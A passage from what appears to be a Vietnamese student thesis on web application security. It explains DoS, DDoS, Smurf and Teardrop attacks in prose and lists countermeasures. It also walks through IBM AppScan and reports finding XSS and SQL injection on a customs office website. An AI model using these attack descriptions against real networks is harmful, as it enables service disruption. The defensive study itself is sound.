chỉ IP nguồn trong gói tin, đẩy mục tiêu vào một vòng lặp vô tận khi cố gắng thiết lập kết nối với chính nó. Kiểu tấn công UDP flood Hacker gửi gói tin UDP echo với địa chỉ IP nguồn là cổngloopback của chính mục tiêu cần tấn công hoặc của một máy tính trong cùng mạng. Với mục tiêu sử dụng cổng UDP echo (port 7) để thiết lập việc gửi và nhận các gói tin echo trên 2 máy tính (hoặc giữa mục tiêu với chính nó nếu mục tiêu có cấu hình cổng loopback), khiến cho 2 máy tính này dần dần sử dụng hết băng thông của chúng, và cản trở hoạt động chia sẻ tài nguyên mạng của các máy tính khác trong mạng. 3.3.2.3 Sử dụng băng thông Tấn công kiểu DDoS (Distributed Denial of Service) Đây là cách thức tấn công rất nguy hiểm. Hacker xâm nhập vào các hệ thống máy tính, cài đặt các chương trình điều khiển từ xa, và sẽ kích hoạt đồng thời các chương trình này vào cùng một thời điểm để đồng loạt tấn công vào một mục tiêu. Với DDoS, các hacker có thể huy động tới hàng trăm thậm chí hàng ngàn máy tính cùng tham gia tấn công cùng một thời điểm (tùy vào sự chuẩn bị trước đó của hacker) và có thể "ngốn" hết băng thông của mục tiêu trong nháy mắt. Hình 15 Tấn công DDoS 3.3.2.4.Sử dụng các nguồn tài nguyên khác Kẻ tấn công lợi dụng các nguồn tài nguyên mà nạn nhân cần sử dụng để tấn công. Những kẻ tấn công có thể thay đổi dữ liệu và tự sao chép dữ liệu mà nạn nhân cần lên nhiều lần, làm CPU bị quá tải và các quá trình xử lý dữ liệu bị đình trệ. Tấn công kiểu Smurf Attack Kiểu tấn công này cần một hệ thống rất quan trọng, đó là mạng khuyếch đại. Hacker dùng địa chỉ của máy tính cần tấn công bằng cách gửi gói tinICMP echo cho toàn bộ mạng (broadcast). Các máy tính trong mạng sẽ đồng loạt gửi gói tin ICMP reply cho máy tính mà hacker muốn tấn công. Kết quả là máy tính này sẽ không thể xử lý kịp thời một lượng lớn thông tin và dẫn tới bị treo máy. Hình 16 Tấn công kiểu Smurf attack Tấn công kiểu Tear Drop Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác nhau để tới đích. Tại đích, nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được kết hợp lại như ban đầu. Lợi dụng điều này, hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp nhau gửi đến mục tiêu muốn tấn công. Kết quả là máy tính đích không thể sắp xếp được những gói tin này và dẫn tới bị treo máy vì bị "vắt kiệt"  khả năng xử lý. Phá hoại hoặc chỉnh sửa thông tin cấu hình Lợi dụng việc cấu hình thiếu an toàn như việc không xác thực thông tin trong việc gửi/nhận bản tin cập nhật (update) của router... mà kẻ tấn công sẽ thay đổi trực tiếp hoặc từ xa các thông tin quan trọng này, khiến cho những người dùng hợp pháp không thể sử dụng dịch vụ. Ví dụ: hacker có thể xâm nhập vào DNS để thay đổi thông tin, dẫn đến quá trình biên dịch tên miền (domain) sang địa chỉ IP của DNS bị sai lệch. Hậu quả là các yêu cầu của máy trạm (Client) sẽ tới một tên miền khác (đã bị thay đổi) thay vì tên miền mong muốn. Phá hoại hoặc chỉnh sửa phần cứng Lợi dụng quyền hạn của chính bản thân kẻ tấn công đối với các thiết bị trong hệ thống mạng để tiếp cận phá hoại các thiết bị phần cứng như router, switch… 3.3.3 Các cách phòng chống Hậu quả mà DoS gây ra không chỉ tiêu tốn nhiều tiền bạc, và công sức mà còn mất rất nhiềuthời gian để khắc phục. Vì vậy, sử dụng các biện pháp sau để phòng chống DoS: Mô hình hệ thống cần phải được xây dựng hợp lý, tránh phụ thuộc lẫn nhau quá mức. Bởi khi một bộ phận gặp sự cố sẽ làm ảnh hưởng tới toàn bộ hệ thống. Thiết lập mật khẩu mạnh (strong password) để bảo vệ các thiết bị mạng và các nguồn tài nguyên quan trọng khác. Thiết lập các mức xác thực đối với người sử dụng cũng như các nguồn tin trên mạng. Đặc biệt, nên thiết lập chế độ xác thực khi cập nhật các thông tin định tuyến giữa các router. Xây dựng hệ thống lọc thông tin trên router, firewall… và hệ thống bảo vệ chống lại SYN flood. Chỉ kích hoạt các dịch vụ cần thiết, tạm thời vô hiệu hoá và dừng các dịch vụ chưa có yêu cầu hoặc không sử dụng. Xây dựng hệ thống định mức, giới hạn cho người sử dụng, nhằm mục đích ngăn ngừa trường hợp người sử dụng ác ý muốn lợi dụng các tài nguyên trên server để tấn công chính server hoặc mạng và server khác. Liên tục cập nhật, nghiên cứu, kiểm tra để phát hiện các lỗ hổng bảo mật và có biện pháp khắc phục kịp thời. Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để phát hiện ngay những hành động bất bình thường. Xây dựng và triển khai hệ thống dự phòng.      Xóa những kí tự “ > ”, “ < ” Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định CHƯƠNG IV SỬ DỤNG BỘ CÔNG CỤ APPSCAN ĐỂ QUÉT ĐIỂM YẾU AN NINH ỨNG DỤNG WEB 4.1 GIỚI THIỆU CÔNG CỤ Đây là một phần mềm (công cụ) quét mã nguồn mới được IBM giới thiệu hôm 22/9/2008 sau khi được mua lại và cải tiến phần mềm của hãng Watchfire, được thiết kế để phát hiện ra các lỗi bảo mật khi chương trình đang trong giai đoạn phát triển. Phần mềm AppScan của Watchfire có thể tìm lỗi ngay khi ứng dụng có thể chạy được. Vì vậy nó có thể phát hiện ra các lỗ hổng suốt quá trình phát triển phần mềm. Trong IBM AppScan, các công cụ phân tích mã nguồn được tích hợp với Rational IDE (Integrated Development Environment), giúp các nhà phát triển công cụ dễ dàng hơn. IBM Rational AppScan là một công cụ quét (scanning) tự động được dùng để thực thi việc xác định các cách tấn công có thể có các ứng dụng web. AppScan quét qua các ứng dụng web, tìm ra các vần đề về bảo mật (security), làm các báo cáo về các vấn đề này và đưa ra các hành động gợi ý sữa chữa. Công cụ & giải pháp Appscan cung cấp: Quét và kiểm thử các ứng dụng web để xác định các cách tấn công bảo mật. Chi tiết hóa các lời khuyên về bảo mật và đề nghị sữa chữa cho các nhà phát triển ứng dụng Báo cáo bao quát các vần đề theo qui chế/định chế bảo mật của cơ quan/tổ chức Ghi lại các khuyết điểm của ứng dụng (defect) vào hệ thống kiểm soát lỗi (bug tracking) làm gia tăng khả năng nhìn thấy và quản trị được tính bảo mật xuyên suốt ứng dụng Chạy các kiểm thử bảo mật ứng dụng web như một phần các kịch bản kiểm thử hồi qui. 4.2 YÊU CẦU HỆ THỐNG KHI CÀI ĐẶT APPSCAN 4.2.1 Yêu cầu về phần cứng Phiên bản cài đặt đang dùng là Appscan Enterprise V 7.7.654 Trước khi cài Appscan các yêu cầu tối thiểu về phần cứng gồm: Bộ xử lý: Pentium 4,  1.5GHz ( khuyến nghị là 2.4 GHz) RAM: Tối thiểu 1 GB RAM (khuyến nghị là 2 GB) Dung lượng ở đĩa trống để cài đặt: 150 MB ở đĩa hệ thống và 150 MB ở đĩa chứa IBM Rational Application Developer cho WebSphere Software và mở rộng Dung lượng ở đĩa cho việc quét: 1 GB (10 GB hoặc nhiều hơn nếu quét các website lớn) Mạng: một card mạng 10 Mbps cho truyền thông mạng được cấu hình thông qua TCP/IP (khuyến nghị là 100 Mbps) 4.2.2. Yêu cầu về phần mềm Rational Applcation Developer cho WebSphere hoặc Eclipse Version 3.2.2 SDK, JDK (IBM hoặc Sun Microsystems) phiên phản 1.5 hoặc cao hơn. Microsoft .NET Framework 3.0 sp1 hoặc cao hơn, Các hệ điều hành hỗ trợ: Microsoft  Windows® XP  Professional  (SP2  or  SP3) Microsoft  Windows  Windows  Vista  (without  service  pack  hoặc  SP1) Microsoft  Windows  2000  (SP4) Microsoft Windows 2003 (SP1 or SP2) Trình duyệt: IE 6.0 hoặc cao hơn Không nên chạy firewall các nhân trên máy có cài AppScan vì firewall có thể block các truyền thông trong quá trình quét và kết quả sẻ không chính xác và làm giảm hiệu năng quét của Appscan Khi cài đặt phải sử dụng user ID thuộc nhóm Administrator, đối với Windows Vista,  phải đăng nhập vào tài khoản administrator hoặc chạy như là administrator bằng cách click phải vào Program file hoặc shortcut và lựa chọnRun as Administrator Rational Application Developer cho WebSphere 4.3 ĐÁNH GIÁ ĐIỂM YẾU AN NINH ỨNG DỤNG WEB BẰNG APPSCAN 4.3.1 Khởi tạo một phiên quét Việc cài đặt Appscan rất dễ dàng sau khi các yêu cầu về phần cứng, phần mềm và mạng được thỏa mãn. Sau khi cài đặt lần đầu tiên giao diện ban đầu của Appscan nhưng hình dưới: Hình 17 Giao diện ban đầu của Appscan Tạo một phiên quét điểm yếu bằng việc click vào Creat New Scan lúc này sẻ có các tùy chọn cho việc khởi tạo cấu hình một phiên quét. Hoặc chúng ta chọn một tamplates có sẵn trong danh sách và các templates mới quét gần đây  hoặc chọn các template mới với bằng việc click vào Default Hình 18 Tạo phiên quét mới Sau khi chọn kiểu cấu hình ở chế độ default thì tiếp theo Appscan sẻ có 2 tùy chọn cho việc quét đó là quét các ứng dụng và quét các dịch vụ web Hình 19 Lựa chọn kiểu quét Với chế độ quét các dịch vụ web, chúng ta cần phải nhập vào WSDL URL, và chương trình sẻ quét toàn bộ các dịch vụ đang chạy trên web server. Chúng ta chọn kiểu quét là ứng dụng web (web application scan), và chuyển vào màn hình cấu hình chính sách quét 4.3.2 Cấu hình tùy chọn chính sách quét Giao diện của cấu hình của một phiên quét gồm 4 phần chính: Hình 20 Cấu hình chính sách quét Explore: cho phép tùy chỉnh, thay đổi khai báo URL cần quét, chế độ đăng nhập lúc quét, có thể tùy chọn các URL cần quét và loại trừ các URL không cần quét làm tăng tốc độ quét. Connection: dùng để khai báo proxy mà appscan lúc quét thông qua, thời gian time out mà Appscan sẻ ngừng quét nếu URL không còn available Test: cho phép kiểm tra trước khi quét, bao gồm kiểm tra chính sách quét, kiểm tra URL. Scan expert: Tùy chọn cho phép quét ở mức cao hơn,và sâu hơn bằng việc tùy chỉnh thời gian và số URL trước khi quét. 4.3.3 Tạo báo cáo sau khi quét Một trọng những yếu tố quan trọng nhất của một công cụ quét điểm yếu an ninh đó là khả năng tạo báo cáo sau khi quét. Dưới đây là một báo cáo dưới dạng sơ bộ của một URL mà em đã thực nghiệm sau khi quét hệ thống mạng của Cục Hải quan Nai. Xem hình 21 chúng ta có thể thấy ở website này có những lỗi ở mức cao đặc biệt nguy hiểm đó là lỗi Cross site Scripting, và SQL injection với biểu tượng màu đỏ, sau đó là các điểm yếu thấp hơn. Hình 21 Kết quả quét bằng Appscan Sau khi quét appscan hỗ trợ người dùng tạo nhiều dạng báo cáo khác nhau, có thể cho báo cáo với nhiều định dạng như .doc, .pdf… giúp chúng ta có thể xem một cách trực quan các điểm yếu. Chúng có thể tạo ra báo cáo dựa trên danh sách 10 điểm yếu an ninh do OWASP đưa ra mà trong chương 3 của đồ án này đã dưới thiệu Ngoài việc thống kê các điểm yếu, tạo báo cáo, phần mềm còn có các công cụ để thử khai thác các lỗi đó. Appscan phân loại các điểm yếu thành 4 loại: Mức cao-High Severity Issues: Các điểm yếu ở mức cao, đây là các điểm yếu đặc biệt nghiêm trọng như các điểm yếu đã đề cập ở chương III, khi bị hacker khai thác thì mức độ thiệt hại là rất lớn, ví dụ như điểm yếu Cross site scripting, nếu khai thác thành công hacker có thể ăn cắp hoặc  chiếm các thao tác của khách hàng và các tập tin cookie, có thể được sử dụng để giả mạo người sử dụng hợp pháp, cho phép các hacker để xem hoặc thay đổi hồ sơ người dùng, và để thực hiện các giao dịch như là người sử dụng hợp pháp Mức trung bình-Medium Severity Issues: Các điểm yếu mức trung bình, điểm yếu loại không nguy hại bằng điểm yếu mức cao (High Severity). Một số điểm yếu loại này như: Unencrypted Login Request- dữ liệu lúc đăng nhập không được mã hóa Mức thấp-Low Severity Issues: Các điểm yếu ở mức thấp hơn trung bình. Một điểm yếu về dạng này có thể kể đến như lỗi ứng dụng do các tham số, các giá trị thiếu hoặc đặt ở chế độ mặc định Mức rất thấp- Informational Severity Issues: các điểu yếu ở mức rất thấp có thể kể đến như điểm yếu về  tải các tập tin tạm thời của tập lệnh, trong đó có thể tiết lộ các ứng dụng logic và các thông tin nhạy cảm như tên người dùng và mật khẩu Trong giao diện kết quả quét có 3 phần chính: Hình 22 Giải pháp khắc phục của Appscan Advisory: phần này mô tả các đặc tính kỹ thuật về điểm yếu, mã điểm yếu, khả năng gây ra điểm yếu. Fix Recommendation: Phần này dành để chi tiết hóa giải pháp khắc phục điểm yếu Requets/Responser: đưa ra các thông tin về các http request mà appscan đã sử dụng để dò tìm điểm yếu. Qua báo cáo này chúng ta xác định được hệ thống website đan quét có những thông tin tổng quan về điểm yếu như: Thông tin về host đã quét: Host Hệ điều hành Máy chủ Web Máy chủ ứng dụng 10.37.226.132 Win32 Microsoft-IIS/6.0 ASP.NET Phân loại điểm yếu theo số lượng Host Cao Trung bình Thấp Rất thấp Tổng cộng 2 2 21 32 57 Các thông tin về điểm yếu và giải pháp khắc phục cũng được đưa ra ngay trong báo cáo kết quả quét. KẾT LUẬN Qua một thời gian nghiên cứu, được sự giúp đỡ của cán bộ hướng dẫn, đến nay đề tài đã đạt được các mục tiêu đề ra: Nghiên cứu các điểm yếu an ninh ứng  ứng dụng web, bao gồm 10 điểm yếu an ninh ứng dụng web do tổ chức OWASP đưa ra, đó là các điểm yếu mà hiện nay các website không chỉ ở Việt Nam và trên thế giới vẫn có thể gây ra những rủi ro đáng kể khi bị hacker khai thác. Trọng tâm là 3 điểm yếu chính: Cross-Site Scripting, Injection, và Denial of Service. Trên cơ sở khai thác, phân tích các điểm yếu an ninh của ứng dụng web đề tài đã đề xuất giải pháp tổng thể nhằm đảm bảo an toàn thông tin cho các ứng dụng web.         Đề tài đã cài đặt, cấu hình và sử dụng chương trình Appscan để phân tích đánh giá điểm yếu an ninh của một số ứng dụng web cụ thể Trong các hoạt động thực tế em đã cùng công ty Misoft  trực tiếp tham gia vào dự án đánh giá mạng tổng thể cho Tổng cục và các chi cục Hải quan, các website của các chi cục. Trong phạm vi đề tài tốt nghiệp, đề tài đã đạt được các yêu cầu đặt ra. Tuy nhiên, do hạn chế về tài liệu và thời gian nên đề tài chưa thử nghiệm được các công cụ đánh giá an ninh khác để có một cái nhìn khách quan hơn trong việc phát hiện và đánh giá điểm yếu. Trong thời gian tới khi điều kiện cho phép em sẻ Thử nghiệm các công cụ đánh giá điểm yếu an ninh ứng dụng web khác, qua đó đưa ra được ưu, nhược điểm của từng công cụ. •   Tìm hiểu thêm về các kĩ thuật tấn công để đưa ra phương pháp bảo mật ứng dụng Web ở mức độ sâu hơn. Qua đó tiến tới thiết kế xây dựng công cụ dò quét điểm yếu an ninh ứng dụng web. Tìm hiểu về vấn đề bảo mật sâu hơn, không chỉ dừng ở mức độ một ứng dụng Web mà phát triển hơn vần đề bảo mật ở các hệ thống mạng và dịch vụ. Kính mong được sự góp ý của các Thầy, Cô và các bạn để đề tài hoàn thiện hơn trong tương lai. GIẢI THÍCH THUẬT NGỮ Các từ viết tắt STT Viết tắt Chi tiết ACL Access Control List ASP Active Server Pages CPU Central Processing Unit CSS Cascading Style Sheets CSS Cascading Style Sheets DAP Dynamic Application Protection DBMS Data Base Management GUI Graphic User Interface HTML HyperText Markup Language ICMP Internet Control Message Protocol ID Identification IMAP Internet Message Access Protocol IPS Intrusion Prevention System ISS Internet Information Server JSP JavaServer Pages OWASP Open Web Application Security Project PHP Hypertext Preprocessor RAM Random Access Memory SSL Secure Sockets Layer TLS Transport Layer Security URL Uniform Resource Locator VPN Vitual Pravite Network XHTML Extensible HyperText Markup Language XSS Cross-Site Scripting Các thuật ngữ chuyên ngành Thuật ngữ Giải thích Username và  Password Tên truy nhập và mật khẩu truy nhập vào hệ thống Hacker Kẻ tấn công Victim Nạn nhân của kẻ tấn công User Người sử dụng Server Máy chủ Client Máy trạm Debug là công việc loại tất cả những lỗi trong chương trình để nó chạy được như mong muốn Certificates Chứng chỉ, thường dùng trong chữ ký số Biometrics Sinh trắc học, một kỹ thuật dùng để nhận dạng, xác thực Template Mẫu Module Một chuyên mục trên trang Web, bao gồm nhiều trang con có chức năng giống nhau (dùng hiển thị một dạng thông tin nào đó Loadbalancing Một kỹ thuật giúp hệ thống mạng cân bằng tải .NET, Java Là 2 loại ngôn ngữ lập trình phổ biến trong lập trình web Web mail Sử dụng mail thông qua ứng dụng web ISS, Apache 2 chương trình web server phổ biến nhất hiện nay Token là một loại thẻ điện tử có khả năng nhảy số ngẫu nhiên theo thời gian, dùng trong quá trình xác thực Brute foce Một loại tấn công từ điển Multimedia Đa phương tiện ( dịch vụ âm thanh, hình ảnh) DANH MỤC HÌNH VẼ Hình 1 Kiến trúc 3 lớp của web application        11 Hình 2 Kiến trúc n lớp của web application        12 Hình 3 Request header.        14 Hình 4 localhost Proxy        19 Hình 5 Sử dụng Proxy để thay đổi tham số        22 Hình 6 Quản lý kiểm soát truy cập tài nguyên trung tâm        23 Hình 7 Tấn công XSS        26 Hình 8 Lỗi tràn bộ đệm        27 Hình 9 Lỗi SQL injection        28 Hình 10 Báo lỗi thiếu an toàn        29 Hình 11 Lưu trữ thiếu an toàn        30 Hình 12 Tấn công từ chối dịch vụ        32 Hình 13 Bảo vệ ứng dụng web toàn diện        35 Hình 14 Bắt tay 3 bước TCP        61 Hình 15 Tấn công DDoS        62 Hình 16 Tấn công kiểu Smurf attack        63 Hình 17 Giao diện ban đầu của Appscan        67 Hình 18 Tạo phiên quét mới        68 Hình 19 Lựa chọn kiểu quét        68 Hình 20 Cấu hình chính sách quét        69 Hình 21 Kết quả quét bằng Appscan        70 PHỤ LỤC Phụ lục A: Yêu cầu hệ thống khi cài đặt  Appscan V7.7 Hệ điều hành Phần mềm Phần cứng Windows 2003 Standard & Enterprise , Windows Vista, Windows Vista Business SP1, Windows Vista Ultimate SP1, Windows XP Professional, Windows XP Professional SP2, Windows Vista Ultimate Internet Explorer 6.0 or higher Microsoft .Net Framework version 2.0 (SP1) Adobe Flash Player version 9.0.124.0 or higher Microsoft .Net Framework version 3.0 (for some optional additional functionality) Processor: Pentium P4 2.4 GHz Memory: 1 GB RAM Free Disk Space: 10 GB Network: 1 NIC 100 MBPS for network communication with configured TCP/IP Phụ lục B: Một số công cụ quét các lỗ hổng ứng dụng web 1.Nikto Có nhiều tính năng hơn một công cụ Web Scanner.Là một phần mềm mã nguồn mở với tính năng Web Server Scanner, tính năng kiểm tra các máy chủ Web. Bao gồm hơn 3200 phương thức nhận diện các file, lỗi logic nguy hiểm, hỗ trợ hơn 625 phiên bản Web Server, bao gồm những lỗi trên 230 Web Server khác nhau. Tính năng Scan kết hợp với các Plugins luôn được update tự động đảm bảo đưa ra kết quả đầy đủ và chính xác nhất. Là một công cụ rất hữu hiệu nhưng không được update thường xuyên. Các lỗi mới nhất thường được update chậm và không thể tìm thấy. Download: 2. Paros Proxy Một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng web trên Proxy.Một trang web trên nền Java thường kết hợp dạng proxy điều đó dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting. Download ở đây:  3. WebScarab Một khung hoạt động cho phép phân tích các ứng dụng giao tiếp sử dụng giao thức HTTP và HTTPS.Một dạng rất đơn giản, WebScarab lưu các Request và Response cho phép tái sử dụng trong các phiên làm việc khác. WebScarab được thiết kế cho mọi người muốn xem hoạt động của các ứng dụng sử dụng giao thức HTTP(S), tuy nhiên công cụ này cũng cho phép phát triển và sửa những lỗi khó , hoặc cho phép nhận biết những lỗ hổng bảo mật trên các ứng dụng được thiết kế và triển khai. Link download:  4. WebInspect Một công cụ tìm kiếm lỗ hổng trên ứng dụng Web rất hiệu quả. SPI Dynamics’ WebInspect với những công cụ trợ giúp người dùng nhận dạng ra những lỗ hổng bảo mật trên ứng dụng Web. WebInspect có thể giúp kiểm tra các Web Server cấu hình đã chuẩn chưa, và cố gắng thử một vài dạng tấn công như Prameter Injection, Cross-site Scripting, Directory Traversal. Link download:  5. Whisker/libwhisker Một công cụ với thư viện mở rất phong phú giúp tìm kiếm các lỗ hổng bảo mật trên ứng dụng Web. Libwhisker một tính năng của ngôn ngữ Perl – Module cho phép kiểm tra ứng dụng HTTP. Cung cấp những tính năng giúp kiểm tra máy chủ HTTP bằng cách lấy những sự hiểu biết về bảo mật, những nguy cơ tấn công để kiểm tra các lỗ hổng bảo mật. Whisker là một công cụ tìm kiếm lỗ hổng bảo mật sử dụng Libwhisker nhưng giờ có công cụ khác hiệu quả hơn đó là Nikto cũng sử dụng Libwhisker. Link download : 6. Burpsuite Kết hợp với ứng dụng để tấn công ứng dụng Web. Burp cho phép một kẻ tấn công tích hợp nhiều thao tác bằng tay hay những phương pháp tự động để tấn công, phân tích và khai thác các lỗ hổng bảo mật trên ứng dụng Web.  Link download:             7. Wikto Một tool dùng để đánh giá mức độ bảo mật của máy chủ Web. Là một tools dùng để kiểm tra các thiếu sót khi cấu hình máy chủ Web Server. Cho phép cung cấp nhiều module khác nhau (nếu tích hợp thêm sẽ phải tốn phí), ví dụ như Back-End Function hay Google Integration. Wikto được viết bằng công nghệ .NET của Microsoft, để download mã nguồn của phần mềm này bạn phải đăng ký trên Web site. Đăng kí:  Link download: https://www.sensepost.com/restricted...2924-24997.zip 8. Acunetix Web Vulnerability Scanner. Một phiên bản thương mại của chương trình tìm kiếm các lỗ hổng bảo mật trên các ứng dụng Web.Acunetix WVS tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting, tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức xác thực vào Web Site. Với giao diện đồ họa thân thiện, những Report đầy đủ cho phép bạn kiểm tra những vấn đề trên máy chủ và ứng dụng Web. 9. N-Stealth Công cụ Web Scanner là  một phiên bản thương mại, ứng dụng cho việc tìm kiếm các lỗ hổng bảo mật trên máy chủ Web. Phần mềm tự động update thường xuyên hơn các phần mềm miễn phí như Whisker/libwhisker hay Nikto, nhưng nhiều lỗi mới trên Web cũng không phát hiện kịp thời và nhanh chóng. Phần mềm bao gồm hơn 30.000 lỗ hổng có thể Scan và khai thác trực tiếp, cùng với hàng tá những cập nhật hàng ngày. Dễ dàng triển khai kết hợp với những Scan lỗ hổng bảo mật khác như: Nessus, ISS Internet Scanner, Retina, SAINT và Sara, bao gồm các tính năng khác. N-sealth là phiên bản chỉ dành riêng cho Windows và không thể download Source Code. Homepage:  Phụ lục C:  Bảng mã hoá(HEX) các kí tự thường dùng trong lỗi XSS URL TÀI LIỆU THAM KHẢO  [1]. Lê Đình Duy, Tấn công SQL Injection tác hại và phòng tránh,  [2]. Freewarez, Sổ tay Hacker v1.0 – www.chongthamnhung.com  [3]. OWASP, Tài liệu của OWASP-   [4]. S.K.PARMAR, Information Resource Guide -, Cst  [5]. Eccoucil, Certified Ethical Hacking version 6.0  [6]. Appscan 7.7 External Document  [7]. Dafydd Stuttard, The.Web.Application.Hackers.Handbook-2007,  [8]. Internet Trang

Các file đính kèm theo tài liệu này:

  • docxNghiên cứu các điểm yếu an ninh ứng dụng web.docx